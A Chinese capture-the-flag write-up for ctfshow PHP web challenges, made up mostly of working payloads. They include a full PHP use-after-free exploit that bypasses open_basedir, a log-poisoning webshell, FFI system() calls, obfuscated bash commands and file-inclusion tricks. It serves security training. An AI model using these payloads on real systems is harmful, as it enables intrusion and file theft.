1 2 3 4 c=highlight_file (next (array_reverse (scandir (pos (localeconv ()))))); c=show_source (next (array_reverse (scandir (getcwd ())))); c=show_source ('flag.php' ); ...
web66 源代码依旧,但是做了一些限制,位置移动到了根目录下。 payload:
1 2 3 4 5 c=print_r (scandir ('/' )); c=highlight_file ("/flag.txt" );
web67 print_r 无法使用了,可以换成 c=var_dump(scandir("/"));
payloads:
1 2 c=var_dump (scandir ("/" )); c=highlight_file ("/flag.txt" );
web68 进去发现没有源代码,并且提示 highlight_file 被 ban,var_dump 还是可以爆出文件的位置在根目录,可以使用 include()函数来代替 highlight_file:
1 2 c=var_dump (scandir ("/" )); c=include ("/flag.txt" );
web69 & web70 include 还是没有被 ban,尝试一下新的函数:
1 2 3 4 5 c=echo (implode ('---' ,scandir ("/" ))); c=readgzfile ('/flag.txt' );
web71 在使用 c=echo(implode('---',scandir("/")));
查看根目录下的文件的时候,发现输出都是问号,这就说明程序劫持了输出缓冲将输出都替换成了 ?
有两种办法
1 2 3 4 5 ob_flush ();ob_end_flush ();c=readgzfile ('/flag.txt' );ob_flush (); c=readgzfile ('/flag.txt' );ob_end_flush ();
1 2 3 4 5 exit ();die ();c=readgzfile ('/flag.txt' );exit (); c=readgzfile ('/flag.txt' );die ();
++++ web72 https://blog.csdn.net/rawrecruit/article/details/123985474
1 2 1. var_export(scandir('.'));die(); #可以正常读取 2. var_export(scandir('/'));die(); #读取失败
由于open_basedir限制的访问区域,所以之前的方法无法扫描目录(open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域) 但是可以通过 glob://
伪协议绕过
1 2 var_export (scandir ('glob:///*' ));die ();
接下来关于读 flag,利用的是 UAF 脚本绕过 open_basedir (payload 需要 URLencode)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 c=function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flag0.txt" );ob_end_flush ();
注意这边用 hackerbar 可能会卡顿,用 bp 的时候记得抓 hackerbar 发的包,不然会有些问题。 urlencode 直接用 bp 的 ctrl+U
即可。
web73 1 c=var_export(scandir('/'));exit(0);
查找到 flag 在根目录下的 flagc.txt 中,打开文件方法有很多,没做什么限制:
1 2 3 c=require_once ('/flagc.txt' );exit (0 ); c=include ('/flagc.txt' );exit (0 ); c=readgzfile ('/flagc.txt' );exit (0 );
web74 1 2 c=var_export (glob ('/*' ));exit ();
1 c=require_once ('/flagx.txt' );exit (0 );
web75 & web76 逐渐抽象… payload:
1 2 3 c=?> <?php $a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f - >__toString ().'' );}exit (0 );?>
获取 flag 这里用的是答案给的 mysql 的 load_file
1 2 3 4 c=try {$dbh = new PDO ('mysql:host=localhost;dbname=ctftraining' , 'root' , 'root' );foreach ($dbh ->query ('select load_file("/flag36.txt")' ) as $row ){echo ($row [0 ])."|" ; }$dbh = null ;}catch (PDOException $e ) {echo $e - > getMessage ();exit (0 );}exit (0 );
++++ web77 1 c=$a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f .' ' );}exit ();
查看根目录文件,看到敏感文件 flag36x.txt
, 同时存在 readflag
文件
题目给提示 php7.4 ,这个版本及以上有 FFI 扩展, 通过这个扩展语言,绕过 open_basedir 限制 payload:
1 2 3 4 c= $ffi = FFI::cdef ("int system(const char *command);" ); $a ='/readflag > 1.txt' ; $ffi ->system ($a );
1 2 ctfshow{3fcf9ea0-f03e-4447-9d3d-17074f1095fd} ctfshow flag getter
++++ web118 这题和 hackergame2024 PowerfulShell 差不多,使用切片的方式构造 payload
题外 (HackerGame2024 PowerfulShell WP):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PowerfulShell@hackergame> ~ /players/PowerfulShell.sh: line 16: /players: Is a directory PowerfulShell@hackergame> _1=~ PowerfulShell@hackergame> _2=${_1:2:1} PowerfulShell@hackergame> _3=${_1:7:1} PowerfulShell@hackergame> _4=`$_2$_3 ~` PowerfulShell@hackergame> $_4 /players/PowerfulShell.sh: line 16: PowerfulShell.sh: command not found (此时_4为: PowerfulShell.sh: command not found, 提取sh出来执行即可。) PowerfulShell@hackergame> _5=${_4:14:2} PowerfulShell@hackergame> $_5
回归正题
先看一下过滤情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requestsurl = "http://8f8425e0-340d-492f-82e8-c0730a2cb99b.challenge.ctf.show/" method = "POST" param_name = "code" filter_keyword = "evil" success_codes = [200 ] charset = ( "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "0123456789" "!@#$%^&*()_+-=~`{}[]:;\"'<>,.?/\\|" ) unfiltered_chars = [] print (f"[+] Start testing {len (charset)} characters..." )for ch in charset: payload = {param_name: ch} try : if method.upper() == "GET" : response = requests.get(url, params=payload, timeout=5 ) elif method.upper() == "POST" : response = requests.post(url, data=payload, timeout=5 ) else : print ("[-] Unsupported HTTP method" ) break content = response.text status = response.status_code if (filter_keyword not in content) and (status in success_codes): print (f"[+] Character '{ch} ' is NOT filtered" ) unfiltered_chars.append(ch) else : print (f"[-] Character '{ch} ' is filtered" ) except requests.RequestException as e: print (f"[!] Error testing character '{ch} ': {e} " ) print ("\n=== 可用字符列表 ===" )print ("" .join(unfiltered_chars))
1 2 === 可用字符列表 === ABCDEFGHIJKLMNOPQRSTUVWXYZ@#$_~{}:;.?
能用的一般,但是可以构造 Bash 内置变量
重点: 环境变量 PATH 的结尾一般是 /bin
,当前路径 PWD 题目中可猜测为 /var/www/html
我们可以用切片的方式来构造 nl ????.???
获取 flag (PATH+PWD 结尾一字符加起来刚好是 nl)
1 2 3 4 5 xekoner@NEVER-X-10-eJ:~$ echo ${PATH:~0:1} (~代表取反,从最后开始取) (因为题目有限制,数字被过滤) n xekoner@NEVER-X-10-eJ:~$ echo ${PATH:~E} (使用取反号时,任何字母等同于数字0) n
于是我们就可以构造 payload:
1 ${PATH:~A}${PWD:~A} ????.???
++++ web119 & web120 输入上一题的 payload 已经被拦截了,尝试新的方法;
数字绕过
1 2 3 4 5 0: `${PATH:~E}` 1: `${#SHLVL}`, `${##}`, `${#?}` 2:用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用 `${PHP_VERSION:~A}` 代替。 3:`${#IFS}` =3。(linux下是3,mac里是4) 4或者5:`${#RANDOM}` 返回的值大多数是4和5,其中5的概率多一些。(linux下)
特殊字符绕过
1 2 3 4 5 6 `${PWD}` :/var/www/html `${USER}` :www-data `${HOME}` :当前用户的主目录 `/`:`${PWD::${#SHLVL}}` `a`:`${USER:~A}` `t`:`${USER:~${#SHLVL}:${#SHLVL}}`
payload1: 构造 /???/?a? ????.???
1 ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
payload2: 构造 /???/??t ????.???
(这个就是只有flag.php的内容)
1 2 3 ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.??? / ${PWD::${#?}}???${PWD::${#?}}??${USER:~${#?}:${#?}} ????.??? (web120)
payload3/1: 构造 /???/r?? ????.???
(web121 -> /bin/rev)
1 ${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???
payload3/2:构造 /???/??v ????.???
(web121 -> /bin/rev)
1 ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
payload3 使用后 cc reverse 即可。
web122 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 ); highlight_file (__FILE__ ); if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
PWD 被过滤,但是 HOME 没有,可以通过 HOME 获取 /
, 但是需要数字1,而且 #
被过滤了,这里需要使用 $?
构造1:$1
是表示上一条命令执行结束后的传回值,表示不同类型的错误。0代表执行成功,非0代表执行有误。 这里是为了构造1,所以要让前一条命令是错误的,这里使用 <A
为了构造 base64中的4 , 使用 RANDOM : 4或者5:${#RANDOM}
返回的值大多数是4和5,其中5的概率多一些。(linux 下) 但是是有概率的,需要多尝试几次(真难)。
payload: /???/?????4 ????.??? -> /bin/base64 ????.???
1 <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
半天点不出上玄学了:
1 for i in {1..20} ; do curl -X POST -d 'code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???' http://6cf00967-b27d-4e1a-9a62-02e4229b047d.challenge.ctf.show/; done
文件包含 web78 最基础的无任何过滤文件包含,payloads:
0x01, data 伪协议:
1 2 ?file=data://text/plain,<?php system("ls")?> ?file=data://text/plain,<?php system("nl ./flag.php")?>
0x02: filter 伪协议
1 ?file=php://filter/convert.base64-encode/resource=flag.php
0x03: 日志包含
1 2 ?file=../../../../var/log/nginx/access.log <?php eval($_POST[a]); ?>
web79 file 中允许出现 php,但是在 RCE 中学会了很多绕过的方法,同样这题的 payload 有很多, payloads:
0x01, data 伪协议:
1 data://text/plain,<?=system('tac flag*');?>
0x02, base64绕过
1 data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80 php 和 data 都被过滤,这里采用邮件注入。
1 ?file=../../../../var/log/nginx/access.log
发现包含了 User-Agent 头部,直接从 UA 下手,写入马,然后包含即可。
1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36<?php system($_POST['x']);?>
POST 请求:
1 2 3 x=id ile=../../../../../../var/log/nginx/access.log HTTP/1.1" 200 1387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data) " 172.12.23.142 - - [28/Jul/2025:03:05:17 +0000] "GET /?file=../../../../../../var/log/nginx/access.log HTTP/1.1" 200 1851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
用 tac 爆出来就行:
1 2 3 x=tac fl0g.php file=../../../../../../var/log/nginx/access.log HTTP/1.1" 200 1387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36$flag="ctfshow{8c3b36a1-014a-4028-aabf-6f72827e35ac}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /*
web81 和上一题同理,邮件包含。
web82
PHP 特性 web89 1 2 3 4 5 6 7 8 if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
不允许输入数字,但是下面是用了 intval
函数判断,可以通过输入列表来绕过 * intval 转换数组类型时不关心数组中的内容只判断数组中有没有元素
payload:
web90 1 2 3 4 5 6 7 8 9 10 11 12 include ("flag.php" ); highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
不全是字符即可,payload 有很多:
1 2 3 4 5 6 7 ?num=4476 a ?num=4476 A ?num=+4476 ?num=4476 ; ?num=4476 " ?num=0x117c ?num=4476.0
web91 1 2 3 4 5 6 7 8 9 10 11 12 13 14 show_source (__FILE__ ); include ('flag.php' ); $a =$_GET ['cmd' ]; if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
必须包含 php 又不能包含 php…? 绕过正则, %0a
截断,payloads:
web92 1 2 3 4 5 6 7 8 9 10 11 include ("flag.php" ); highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); }
payload:
web93 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 include ("flag.php" ); highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
增加了对字符的过滤,但是依旧可以绕过: payloads:
1 2 3 ?num=010574 (八进制绕过,开头为0的,但不以 0x 或 0X 等开头会解析为八进制) ?num=4476.1 ?num=+4476.1
web94 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 include ("flag.php" ); highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
strpos
函数会搜索字符串中第一个出现的字符,这里0不能第一个出现在输入的字符串中,有几种方法可可以绕过: payloads
1 2 ?num=4476.0 ?num=%20010574 (利用%20空格绕过第一个字符不为0)
web95 1 if (preg_match ("/[a-z]|\./i" , $num )){
多了点,小数点的绕过不能用了,继续八进制绕过:
web96 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ ); if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
不能出现完整的 flag.php
, ./
代表当前目录:
1 2 ?u=./flag.php ?u=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
web97 1 2 3 4 5 6 7 8 9 include ("flag.php" ); highlight_file (__FILE__ ); if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) { if ($_POST ['a' ] != $_POST ['b' ]) if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) echo $flag ; else print 'Wrong.' ; }
强比较,但是可以利用数组绕过:
web99 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ ); $allow = array (); for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); } ?>
1 //in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=19.php自动转换为19
payload:
1 2 3 https://ff5237bb-e661-4ca6-9fa5-7cbdc720fa6e.challenge.ctf.show?n=19.php content=<?php system($_GET['x']); ?>
访问19.php 后直接 tac 打即可。
前面几题炸了,没保存上不补了
web106 1 2 3 4 5 6 7 8 highlight_file (__FILE__ ); include ("flag.php" ); if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } }
简单的 sha1 弱比较绕过,两个参数不能相等。https://blog.csdn.net/cosmoslin/article/details/120973888
1 2 3 4 5 6 10932435112: 0e07766915004133176347055865026311692244 aaroZmOk: 0e66507019969427134894567494305185566735 aaK1STfY: 0e76658526655756207688271159624026011393 aaO8zKZF: 0e89257456677279068558073954252716165668 aa3OFF9m: 0e36977786278517984959260394024281014729 0e1290633704: 0e19985187802402577070739524195726831799
web107 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file (__FILE__ ); error_reporting (0 ); include ("flag.php" ); if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } }
parse_str 函数:
1 2 3 4 5 6 7 8 9 10 $str = "name=alice&age=20"; parse_str($str, $output); print_r($output); Output: Array ( [name] => alice [age] => 20 )
总体来说就是前面一个参数输入的传递给第二个参数 那这一题来说 POST 传入的 v1就等于 v2, 同时 v2要求了 flag
,所以我们 v1就需要传入:v1=flag=
if($v2['flag']==md5($v3))
md5弱比较,flag=0 , v3传入有科学计数法的即可。
payload:
1 2 POST: v1=flag=0 GET: ?v3=QNKCDZO
md5 table:https://blog.csdn.net/cosmoslin/article/details/120973888
1 2 3 4 5 6 7 8 240610708:0e462097431906509019562988736854 QLTHNDT:0e405967825401955372549139051580 QNKCDZO:0e830400451993494058024219903391 PJNPDWY:0e291529052894702774557631701704 NWWKITQ:0e763082070976038347657360817689 NOOPCJF:0e818888003657176127862245791911 MMHUWUV:0e701732711630150438129209816536 MAUXXQC:0e478478466848439040434801845361
第二解:利用数组绕过 GET传入 v3[]=1
md5($v3) 此时就等于 NULL, 这时候 v1可以随便输入,结果都可以满足
web108 1 2 3 4 5 6 7 8 9 10 11 12 13 14 highlight_file (__FILE__ ); error_reporting (0 ); include ("flag.php" ); if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; } ?>
ereg 为 php 的老正则函数 strrev 逆序 intval 转换为整数
0x36d 转为十进制为 877
, 但是还需要满足正则,需要开头或者结尾为字母,那就只能截断 payload:
web109 1 2 3 4 5 6 7 8 9 highlight_file (__FILE__ ); error_reporting (0 ); if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } }
关于内置类的 eval("echo new $v1($v2());");
1 2 3 4 5 6 ?v1=CachingIterator&v2=system(ls) ?v1=DirectoryIterator&v2=system(ls) ?v1=Error&v2=system(ls) ?v1=Exception&v2=system(ls) ?v1=ReflectionClass&v2=system(%27id%27) ?v1=ReflectionFunction&v2=system(%27id%27)
web110 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 highlight_file (__FILE__ ); error_reporting (0 ); if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); } ?>
过滤了很多,但是还是可以获取当前目录内容:
1 ?v1=FilesystemIterator&v2=getcwd
web111 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 highlight_file (__FILE__ ); error_reporting (0 ); include ("flag.php" ); function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } } ?>
看到 v1做了限制,必须与 ctfshow
匹配,v2可以传入 GLOBOLS
来绕过语法作用域的限制 (不能传入 flag)。 payload:
web112 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ ); error_reporting (0 ); function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ]; if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
看到是包含文件,但是做了 filter: 不允许出现很多常见的伪协议,但是 filter 是可以用的,过滤掉了 base 系列,但是还是有其他的选项
payloads:
1 2 3 4 5 ?file=php://filter/resource=flag.php ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php ?file=compress.zlib://flag.php ?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
web113 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ ); error_reporting (0 ); function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ]; if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
相比较上一题来说,多了 filter 的过滤,不能使用 filter 过滤器了,但是还是可以绕过: 0x01 zlib:
1 ?file=compress.zlib://flag.php
0x02 突破 is_file
的最大长度, 利用函数能处理的长度限制进行目录溢出:/proc/self/root
代表根目录,进行目录溢出
1 ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php